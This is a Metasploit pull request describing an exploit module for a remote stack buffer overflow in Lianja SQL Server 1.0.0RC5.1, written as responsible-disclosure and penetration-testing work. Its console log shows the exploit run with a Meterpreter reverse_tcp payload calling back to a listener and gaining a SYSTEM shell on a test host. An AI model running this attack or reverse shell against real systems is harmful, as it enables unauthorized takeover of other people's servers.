rapid7/metasploit-framework — pull request #1877 by zeroSteiner (2013-05-29 13:01:34+00:00)
Title: Exploit module for Lianja SQL 1.0.0RC5.1

This module exploits an unauthenticated remote stack buffer overflow in Lianja SQL Server 1.0.0RC5.1 for Windows. I have informed the Lianja development team of the vulnerability. The latest stable version of 1.0.0RC5.2, released today, is not vulnerable to this issue.

The module has been tested against the Lianja SQL 1.0.0RC5.1 on Windows 7 SP1, Server 2008 SP1, among others. The target settings are Windows version dependent.

The vulnerability exists in the db_netserver.exe binary which is executed by the parent process, allowing this vulnerability to be exploited more than once.

Lianja homepage: http://www.lianja.com/
Lianja SQL 1.0.0RC5.1 download mirror: http://www.softpedia.com/progDownload/Lianja-SQL-Server-Download-230781.html

```
msf3-git (S:0 J:0) exploit(lianja_db_net) > show options

Module options (exploit/windows/misc/lianja_db_net):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.90.147 yes The target address
RPORT 8001 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.90.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows Server 2008 SP1

msf3-git (S:0 J:0) exploit(lianja_db_net) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] 192.168.90.147:8001 - Sending Malicious Data
[*] Sending stage (751104 bytes) to 192.168.90.147
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.147:49158) at 2013-05-29 08:54:13 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```